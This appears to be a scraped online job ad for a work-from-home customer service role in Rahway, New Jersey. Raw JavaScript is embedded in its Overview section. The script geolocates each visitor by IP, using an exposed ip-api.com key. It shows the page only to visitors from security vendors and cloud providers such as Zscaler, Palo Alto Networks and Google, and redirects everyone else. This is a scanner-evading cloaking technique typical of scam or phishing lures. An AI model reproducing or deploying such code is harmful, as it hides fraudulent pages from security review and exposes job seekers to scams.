Work From Home Customer Service Representative

Work From Home Customer Service Representative

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Work From Home Customer Service Rep based in Rahway, New Jersey, to provide exceptional support to our customers.

Responsibilities include:

  • Responding promptly and professionally to customer inquiries via phone, email, and chat
  • Resolving issues, processing orders, and providing product information
  • Maintaining accurate records of customer interactions and transactions
  • Collaborating with team members to improve service quality
  • Adhering to company policies and procedures to ensure customer satisfaction

Skills needed:

  • Excellent communication and problem-solving skills
  • Ability to multitask and manage time effectively
  • Strong attention to detail and customer-focused attitude
  • Self-motivated with reliable internet and a quiet work environment

Benefits include:

  • Flexible work hours
  • Remote work opportunity
  • Competitive compensation
  • Training and professional development
Emploment Location
New Jersey, Rahway

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